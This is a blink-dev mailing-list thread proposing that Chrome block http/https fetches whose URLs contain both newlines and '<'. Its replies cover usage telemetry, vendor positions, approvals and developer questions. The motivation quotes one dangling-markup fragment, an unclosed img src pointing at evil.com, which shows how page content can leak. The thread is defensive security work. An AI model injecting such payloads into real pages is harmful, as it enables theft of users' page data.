Intent to Remove: Loading resources with newlines and `<` in URLs.

[Mike West]

Primary eng (and PM) emails

mk...@chromium.org

Link to “Intent to Deprecate” thread

https://groups.google.com/a/chromium.org/d/msg/blink-dev/AqSrOMzwrlk/wUglQnTJCgAJ

Summary

I'd like to block fetches for URLs with `http` or `https` schemes that originally contained both newline and `<` characters. That is, the following image would be blocked:

```

<img src="https://example.com/

this/is/a/path

?and=this&is=a&query=string

">

```

Motivation

As discussed in https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/rOs6YRyBEpw/D3pzVwGJAgAJ, dangling markup is the next softest attack surface, assuming robust defense against direct script injection. Some forms of dangling markup attacks rely upon injecting an unclosed attribute that sucks up portions of a page, and exfiltrates them to an external endpoint (e.g. `<img src='https://evil.com/?` eats the page until the next `'`). This is possible because the URL parser helpfully discards newline characters. It would be lovely if we could make the parser less helpful.

Interoperability and Compatibility Risk

There is some risk, but as discussed below, many affected sites are already broken in one way or another, and I think the systemic risk is concentrated in ad scripts that can change in one place.

I asked other vendors for feedback in March on https://github.com/whatwg/fetch/pull/519, pinged another sample of folks again in https://github.com/whatwg/fetch/issues/546. So far, I've only heard tweetings from developers who think it's a good idea, but nothing from other vendors. I'll ping some more. :)

Edge: ???

Firefox: ???

Safari: ???

Please include links where possible.

Alternative implementation suggestion for web developers

Developers would need to escape content before putting it into a URL. This seems like a reasonable best-practice to encourage.

Usage information from UseCounter

From Chrome's beta channel, we see the following numbers over the last week:

* 0.4708% of page views parse a URL containing `\n`.
* 0.2749% actually fetch a url containing `\n`.
* 0.0189% of page views parse a URL a URL containing both `\n` and `<`.
* I forgot that `<` is percent-encoded by the time we get to fetching, so my data here is crap. Assuming the same ratio, 0.0110% of page views might fetch a URL containing `\n` and `<`.

0.01% is not nothing, so I've dug into the data a little more by running telemetry over a sample of 100k sites (culled from a somewhat-old version of Alexa's 1M). I've put all the details into https://github.com/whatwg/fetch/issues/546 for discussion with other vendors, but the TL;DR is:

* Only 25 pages in that crawl were affected.

* 20 are broken in various ways already (e.g. `<img src="<br>\n<b>Notice</b>: Undefined variable: cid...`).

* 5 contained advertising or tracking scripts that would stop working.

I'd suggest that the effect on most sites is small, and concentrated in shared scripts that seem most likely to update quickly if/when this change started to affect someone's bottom line.

OWP launch tracking bug

https://crbug.com/680970

Entry on the feature dashboard

https://www.chromestatus.com/feature/5735596811091968

-mike

[Philip Jägenstedt]

Given the findings from running telemetry, I think this looks very reasonable.

This is a subset of the deprecation of UseCounter::kCanRequestURLHTTPContainingNewline, right? Will URLs with just newlines and no `<` continue to be deprecated, or is this the final shape of this mitigation?

In the example you gave, I see no `<` in the URL, was that a typo? (https://github.com/whatwg/fetch/pull/519 really does look for both.)

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/CAKXHy%3DdiXK0jjNqnpCzgJwjBDM1z9yAnKeXjGq%3D85hq_L78Zaw%40mail.gmail.com.

[Mike]

On Monday, May 22, 2017 at 5:51:31 PM UTC+2, Philip Jägenstedt wrote: 

This is a subset of the deprecation of UseCounter::kCanRequestURLHTTPContainingNewline, right? Will URLs with just newlines and no `<` continue to be deprecated, or is this the final shape of this mitigation?

This is a subset of the existing deprecation, yes, and I would remove the deprecation warning for the rest. 

There's a performance win (and a platform-sanity win!) to dropping the magical whitespace behavior entirely, but the usage is higher than I think I can reasonably inconvenience for those reasons. If the usage changes over time, I'd love to take another stab at getting rid of this magic, but for the specific purposes I care about at the moment, this subset is good enough. URLs with `\n` and `<` are pretty unlikely to be intentional, and there's a clear security win to removing that combination.

 

In the example you gave, I see no `<` in the URL, was that a typo?

Yes. Unfortunately, I'm dumb. :)

Better examples can be found in https://github.com/whatwg/fetch/issues/546. I'll avoid making one up here, as I'd probably just make this more confusing. :)

 

(https://github.com/whatwg/fetch/pull/519 really does look for both.)

So does the patch at https://codereview.chromium.org/2895953002, which also has tests that you could peruse.

Thanks!

-mike

[Philip Rogers]

Would this block text-encoded svg data uris such as:

<img src="data:image/svg+xml;utf8,<svg width='100' height='100' xmlns='http://www.w3.org/2000/svg'><rect width='100' height='100' fill='blue'/></svg>">

To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/5a255a07-48fd-465a-ac39-915391b2cbe0%40chromium.org.

[Mike]

On Monday, May 22, 2017 at 6:30:41 PM UTC+2, Philip Rogers wrote:

Would this block text-encoded svg data uris such as:

<img src="data:image/svg+xml;utf8,<svg width='100' height='100' xmlns='http://www.w3.org/2000/svg'><rect width='100' height='100' fill='blue'/></svg>">

No. Unlike the earlier deprecation, I only intend to block fetches for URLs with `http` or `https` schemes (though I apparently didn't update the patch to Fetch with that language; I'll fix that).

-mike

[Mike]

(That said, a comment on https://github.com/whatwg/fetch/issues/546#issuecomment-303167500 notes that Firefox and IE don't actually support the unencoded `<` syntax you're noting, pdr@. If that's accurate, and we think it's sane, perhaps we should take the opportunity to align with their behavior?)

 

-mike

[Philip Jägenstedt]

I guess that would amount to changes in some other code path that has to do with data: URL parsing specifically?

Whatever the case, LGTM1 to blocking the loads following whatever conditions you settle on in the issue/PR, as long as our use counters are a descent proxy for it.

[Mike]

Thanks to pdr@, we've confirmed that Firefox and Edge do support raw `<` in `data:` URLs. So I think the approach spelled out in the PRs is the approach I'd prefer.

Apple has raised some layering concerns and performance concerns on the patch to URL: https://github.com/whatwg/url/pull/284. I believe I have good answers to those questions in the thread, and they noted that "it might not be completely catastrophic". So, let's update the interop risk accordingly:

Firefox: ???

Safari: Thinks it might not be completely catastrophic

Edge: ???

:)

-mike

[Rick Byers]

LGTM2

--

You received this message because you are subscribed to the Google Groups "blink-dev" group.

To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/c6aeadd1-4d93-4791-9053-2175ae3972c1%40chromium.org.

[TAMURA, Kent]

LGTM3.

To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/CAFUtAY9EW%3DyZ%3DhzBjbZuCw-JdsqdFOxAAd7oyrHZf3TwQa98Rw%40mail.gmail.com.

--

TAMURA Kent
Software Engineer, Google

[chmie...@gmail.com]

I've just saw this warning in console for my <img src="data:image/png;base64,......" /> files as I had left the default format of my encode64 function which is 60 chars per line. So should I change it? Or as there is no http nor https can It stay as is ?

[Mike West]

On Thu, Jul 27, 2017 at 2:15 PM, <chmie...@gmail.com> wrote:

I've just saw this warning in console for my <img src="data:image/png;base64,......" /> files as I had left the default format of my encode64 function which is 60 chars per line. So should I change it? Or as there is no http nor https can It stay as is ?

Sorry for the delayed response, I missed this. The behavior in beta right now (Chrome 61) does not block `data:` URLs. It's possible we'll reevaluate that based on usage, but I'll send a separate intent if/when I go down that road.

Thanks!

-mike

[canars...@gmail.com]

I'm not sure is it true place to say this but I suggest that this should give console warning. It will be better for track and fix that bugs (forget to close tag or new line in URL)

[Philip Jägenstedt]

Hi canarslan1212,

Did you run into this in your own development and found no console warning? There should be this warning: "Resource requests whose URLs contained both removed whitespace (`\\n`, `\\r`, `\\t`) characters and less-than characters (`<`) are blocked. Please remove newlines and encode less-than are blocked. Please remove newlines and encode less-than load these resources. See https://www.chromestatus.com/feature/5735596811091968 for more details."

On Sun, Aug 20, 2017 at 2:16 PM <canars...@gmail.com> wrote:

I'm not sure is it true place to say this but I suggest that this should give console warning. It will be better for track and fix that bugs (forget to close tag or new line in URL)

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.

To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/80d195a7-b47a-43d1-b6cd-7c8fedeb50ba%40chromium.org.

[canars...@gmail.com]

when I type:

<img src="https://www.oceansunucu.com/
imgeler/ocean_sunucu.png
">

https://www.oceansunucu.com/delete/test.php

It displays image without error (in chrome beta)

I think it should be error, am I wrong?

23 Ağustos 2017 Çarşamba 14:38:18 UTC+3 tarihinde Philip Jägenstedt yazdı:

[Philip Jägenstedt]

As far as I can tell that should be an error, but I'm going to have to defer to +Mike West on this.

To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/c0276630-a38e-4583-9a7c-7134ec85e718%40chromium.org.

[Mike West]

On Wed 23. Aug 2017 at 05:27, Philip Jägenstedt <foo...@chromium.org> wrote:

As far as I can tell that should be an error, but I'm going to have to defer to +Mike West on this.

On Wed, Aug 23, 2017 at 2:09 PM <canars...@gmail.com> wrote:

when I type:

<img src="https://www.oceansunucu.com/
imgeler/ocean_sunucu.png
">

https://www.oceansunucu.com/delete/test.php

It displays image without error (in chrome beta)

I think it should be error, am I wrong?

We’re blocking requests that have both a newline and `<`. It doesn’t appear that the tag you’ve described above has a `<` character in the URL, so it won’t be blocked by this change.

23 Ağustos 2017 Çarşamba 14:38:18 UTC+3 tarihinde Philip Jägenstedt yazdı:

Hi canarslan1212,

Did you run into this in your own development and found no console warning? There should be this warning: "Resource requests whose URLs contained both removed whitespace (`\\n`, `\\r`, `\\t`) characters and less-than characters (`<`) are blocked. Please remove newlines and encode less-than are blocked. Please remove newlines and encode less-than load these resources. See https://www.chromestatus.com/feature/5735596811091968 for more details."

On Sun, Aug 20, 2017 at 2:16 PM <canars...@gmail.com> wrote:

I'm not sure is it true place to say this but I suggest that this should give console warning. It will be better for track and fix that bugs (forget to close tag or new line in URL)

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/80d195a7-b47a-43d1-b6cd-7c8fedeb50ba%40chromium.org.

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/c0276630-a38e-4583-9a7c-7134ec85e718%40chromium.org.

--

-mike

[canars...@gmail.com]

I got it but in summary part it says that the following image would be blocked

<img src="https://example.com/
this/is/a/path
?and=this&is=a&query=string
">

but there is no < character. can someone edit first description to make it more clear

23 Ağustos 2017 Çarşamba 15:49:06 UTC+3 tarihinde Mike West yazdı:

[gusbe...@gmail.com]

Will it block like in PHP:

a. <h3><?php echo _relogios ?></h3>?
b. <img alt="<?php echo _fabrica ?>" src="images/fabrica.jpg"?
b. <a class="navbar-brand" href="index.php?hl=<?php echo $html_language ?>#page-top">?

[canars...@gmail.com]

a. not related with topic

b. if you have ">" at the end of line nothing will change (

c. no 

if you did not make mistakes about codes like 

<a href="index.php?

hl=<?php echo $html_language ?>

<?php //#page-top" ?>

<div ....

both a newline and `<` are needed 

27 Ağustos 2017 Pazar 23:52:55 UTC+3 tarihinde gusbe...@gmail.com yazdı:

[powerba...@gmail.com]

[brikena...@gmail.com]

[aa...@lifeiscontent.net]

this broke an old router I'm using, their admin portal uses this as a feature (no idea why) is there a way to enable this back for my local domains so I can upgrade the router?

[neverchec...@gmail.com]

I have no urls anywhere in my html or js and I'm still getting blocked. what gives??